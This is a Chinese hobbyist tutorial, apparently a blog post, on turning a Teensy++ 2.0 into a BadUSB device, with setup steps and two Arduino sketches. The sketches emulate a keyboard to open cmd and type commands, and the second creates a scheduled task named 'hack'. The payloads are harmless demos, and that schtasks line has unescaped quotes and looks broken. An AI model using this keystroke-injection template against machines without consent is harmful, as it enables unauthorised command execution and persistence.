参考http://bbs.pediy.com/showthread.php?t=213719
前几天发现了BadUSB这个好玩的东西,橡皮鸭和烧鹅都买不起就在某宝上买了个Teensy++2.0
1.下载Teensyduino。
https://www.pjrc.com/teensy/td_download.html
2.安装Arduino。我这里安装1.8.0
https://pan.baidu.com/s/1b4jPX8#list/path=%2F&parentPath=%2FArduino
3.安装Teensyduino
注意红色框起来的是支持的Arduino版本。
4.可以插入Teensy++2.0开始搞事了
送份代码:
注意:
1.汉化 file->preferences 选择language为简体中文 2.工具里面要选
代码:
void setup(){ //初始化
Keyboard.begin();//开始键盘通信
delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样
Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
Keyboard.release(KEY_CAPS_LOCK); //释放大写键
delay(500);
Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
delay(500);
Keyboard.press('r');//按下r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);//松掉win键
Keyboard.release('r');//松掉r键
//delay(500);
Keyboard.println("cmd");//输入cmd进入DOS
delay(500);
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.println("Hello Teensy++2.0");
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.press(KEY_CAPS_LOCK); //按下大写键
Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
delay(500);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
Keyboard.end();//结束键盘通讯
}
void loop()//循环,这里的代码
{
//循环体 写入你要循环的代码
}
在附一段代码,在21点打开个txt
void setup(){ //初始化
Keyboard.begin();//开始键盘通信
delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样
Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
Keyboard.release(KEY_CAPS_LOCK); //释放大写键
delay(500);
Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
delay(500);
Keyboard.press('r');//按下r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);//松掉win键
Keyboard.release('r');//松掉r键
//delay(500);
Keyboard.println("cmd");//输入cmd进入DOS
delay(500);
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.println("D:");
Keyboard.println("echo I'm back!>a.txt");
Keyboard.println("schtasks /create /tn "hack" /tr "d:a.txt" /sc once /st 21:12");
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.press(KEY_CAPS_LOCK); //按下大写键
Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
delay(500);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
Keyboard.end();//结束键盘通讯
}
void loop()//循环,这里的代码
{
//循环体 写入你要循环的代码
}